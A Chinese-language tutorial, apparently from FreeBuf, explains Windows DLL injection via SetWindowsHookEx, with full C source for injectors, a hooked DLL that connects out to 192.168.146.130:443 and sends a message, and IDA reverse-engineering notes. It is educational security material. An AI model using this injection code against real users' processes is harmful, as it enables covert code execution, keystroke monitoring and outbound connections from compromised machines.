DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?
其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。
Windows Hooks
首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。
下面是Hook子程的语法,来源MSDN:
使用SetWindowsHookEx实现DLL注入
使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:
idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。
代码
下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。
injector.c
#include <windows.h> int main(int argc, char* argv) { /* Loads inject.dll into the address space of the calling function, in this case the running exe */ HMODULE dll = LoadLibrary("inject.dll"); if(dll == NULL) { printf("Cannot find DLL"); getchar(); return -1; } /* Gets the address of the inject method in the inject.dll */ HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject"); if(addr == NULL) { printf("Cannot find the function"); getchar(); return -1; } /* Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address */ HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0); if(handle == NULL) { printf("Couldn't hook the keyboard"); } printf("Hooked the program, hit enter to exit"); getchar(); UnhookWindowsHookEx(handle); return 0; }
injectShell.c
#include <stdio.h> #include <winsock2.h> #include <windows.h> INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved) { FILE *file; fopen_s(&file, "C:\temp.txt", "a+"); switch(Reason) { case DLL_PROCESS_ATTACH: fprintf(file, "DLL attach function called.n"); break; case DLL_PROCESS_DETACH: fprintf(file, "DLL detach function called.n"); break; case DLL_THREAD_ATTACH: fprintf(file, "DLL thread attach function called.n"); break; case DLL_THREAD_DETACH: fprintf(file, "DLL thread detach function called.n"); break; } fclose(file); return TRUE; } int inject(int code, WPARAM wParam, LPARAM lParam) { WSADATA wsa; SOCKET s; struct sockaddr_in server; char *message; printf("\nInitializing Winsock..."); if(WSAStartup(MAKEWORD(2,2),&wsa) != 0) { printf("Failed. Error Code : %d", WSAGetLastError()); return(CallNextHookEx(NULL, code, wParam, lParam)); } printf("Initialized. \n"); if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET) { printf("Could not create socket : %d", WSAGetLastError()); } printf("Socket Created. \n"); server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address server.sin_family = AF_INET; server.sin_port = htons( 443 ); if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) { puts("connect error"); return(CallNextHookEx(NULL, code, wParam, lParam)); } puts("Connected"); message = "Injected Shell"; if( send(s, message, strlen(message), 0) <0) { puts("Send failed"); return(CallNextHookEx(NULL, code, wParam, lParam)); } puts("Data sent\n"); return(CallNextHookEx(NULL, code, wParam, lParam)); }
这里我们可以看到,该DLL文件连接其他主机。
接下来,DLL加载至另一个不同的进程中,成功!
尽管这段代码还存在问题,但我们设置的全局钩子意味着可以监视任何按键信息。换句话说我们最终可以注入一些预期之外的东西。幸运的是,可以注入至一个特定的进程中。还有另一个包含一些必要修改的版本。MSDN帮助我获得了一些我所需要的东西。这段代码向目标注入中增加了一些额外的步骤。首先,获得注入进程的id。通过这个获得这个进程的线程id,而SetWindowsHookEx 函数中的最后的一个参数就是线程的id。接着开始监视我们的进程,我们只需等待。
injector2.c
#include <windows.h> #include <stdio.h> #include <tchar.h> #include <psapi.h> #include <tlhelp32.h> /* This method is used to get a thread id for a process. It loops through all of the threads and compares their pid with the desired pid */ DWORD getThreadID(DWORD pid) { puts("Getting Thread ID"); HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if(h != INVALID_HANDLE_VALUE) { THREADENTRY32 te; te.dwSize = sizeof(te); if( Thread32First(h, &te)) { do { if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) { if(te.th32OwnerProcessID == pid) { HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID); if(!hThread) { puts("Couldn't get thread handle"); } else { //DWORD tpid = GetProcessIdOfThread(hThread); //printf("Got one: %u\n", tpid); return te.th32ThreadID; } } } } while( Thread32Next(h, &te)); } } CloseHandle(h); return (DWORD)0; } /* This method performs the actual injection. It gets an appropriate thread id, loads the dll, gets the address of the inject method, then calls SetWindowsHookEx. */ int processInject(int pid) { DWORD processID = (DWORD)pid; TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>"); HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID); if (NULL != hProcess) { HMODULE hMod; DWORD cbNeeded; if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) { GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) ); } } _tprintf( TEXT("Injecting into process %s PID: %u\n"), szProcessName, processID); DWORD threadID = getThreadID(processID); printf( "Using Thread ID %u\n", threadID); if(threadID == (DWORD)0) { puts("Cannot find thread"); return -1; } HMODULE dll = LoadLibrary("inject2.dll"); if(dll == NULL) { puts("Cannot find DLL"); return -1; } HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test"); if(addr == NULL) { puts("Cannot find the function"); return -1; } //Uses the threadID from getThreadID to inject into specific process HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID); if(handle == NULL) { puts("Couldn't hook the keyboard"); } getchar(); getchar(); getchar(); UnhookWindowsHookEx(handle); return 0; } int main(int argc, char* argv) { int pid; puts("Inject into which PID?"); scanf ("%u",&pid); printf("PID entered: %u\n", pid); int result = processInject(pid); if(result == -1) { puts("Could not inject"); } else { puts("Injected!"); } getchar(); }
test1.c
#include <stdio.h> #include <windows.h> int test() { char str[80]; /* Get's the current process id to display in the message box */ int id = GetCurrentProcessId(); sprintf(str, "Hello, process: %d", id); MessageBox(NULL, str, "Hello DLL!", MB_OK); return 0; }
可以看到,这是从我们所选择的进程中运行的消息框。通过Process Explorer可以看到DLL同时加载到Notepad++和injector程序中,这个正是由于程序本身就加载了DLL文件。
尽管如此,监视进程还存在一定的局限性。一个进程必须存在消息循环并且确保能够接收消息,这样才能被监视到。这个主要限制了基于GUI的应用程序的目标。SetWindowsHookEx 同样不能具有更高完整性的进程中使用。
逆向代码
下面是IDA逆向第一个injector的代码。
上图虽然不是进程的整个流图,但是我们可以看到主要的SetWindowsHookEx部分。首先通过LoadLibraryA加载inject.dll。可以注意到,param1 在每个函数调用前被使用。将偏移地址保存在第一个参数所在的堆栈地址中。因此它获得注入函数(dllMethod)的地址,之后将DLL的句柄赋给param1,调用GetProcAddress。最后,加载SetWindowsHookEx的参数值,并调用函数。对比下第二个函数。
相比之下只有一个不同点,将threadID复制至寄存器中,之后再将其复制至第四个参数所在的堆栈地址中,再调用SetWindowsHookEx函数。是不是还不错?在下一篇将准备开写远程线程注入方法,期待吧!
参考资料
http://win32assembly.programminghorizon.com/tut24.html
https://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx
http://blogs.msdn.com/b/oldnewthing/archive/2006/02/23/537856.aspx
http://www.binarytides.com/winsock-socket-programming-tutorial/
http://resources.infosecinstitute.com/using-setwindowshookex-for-dll-injection-on-windows/
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
https://github.com/malark3y/DLL-Injection
https://warroom.securestate.com/index.php/real-world-malware-analysis/
*老王隔壁的白帽子/编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)